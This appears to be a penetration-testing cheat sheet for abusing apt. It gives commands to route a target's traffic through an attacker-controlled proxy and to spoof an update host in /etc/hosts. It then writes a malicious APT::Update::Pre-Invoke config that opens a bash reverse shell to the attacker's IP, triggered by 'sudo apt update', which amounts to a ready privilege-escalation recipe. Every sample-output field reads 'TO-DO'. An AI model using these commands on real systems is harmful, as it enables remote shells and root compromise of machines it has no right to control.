Usage Tips:
- Click on a keyword to enable inline editing.
- Click inside a code block to copy (excludes comments).
- Use the button to view examples.
- Click outside to collapse all examples.
MITM (Man-in-the-Middle)
1. Add proxy path in target machine
export http_proxy=http://<LOCAL_IP>:<LOCAL_PROXY_PORT>
Sample Output:
TO-DO
2. Start proxy in local machine
# Tool
pip3 install --upgrade proxy.py
Sample Output:
TO-DO
# Start a proxy server
proxy --hostname 0.0.0.0 --port <LOCAL_PROXY_PORT>
Sample Output:
TO-DO
3. Redirect traffic to our server
# Edit /etc/hosts in target machine
<LOCAL_IP> apt.update.example.com
Sample Output:
TO-DO
SUDO
1. Create a malicious config
echo 'APT::Update::Pre-Invoke {"bash -c '\''bash -i >& /dev/tcp/<LOCAL_IP>/<LOCAL_PORT> 0>&1'\''"}' > /etc/apt/apt.conf.d/evil
Sample Output:
TO-DO
2. Exploit
sudo apt update -y
Sample Output:
TO-DO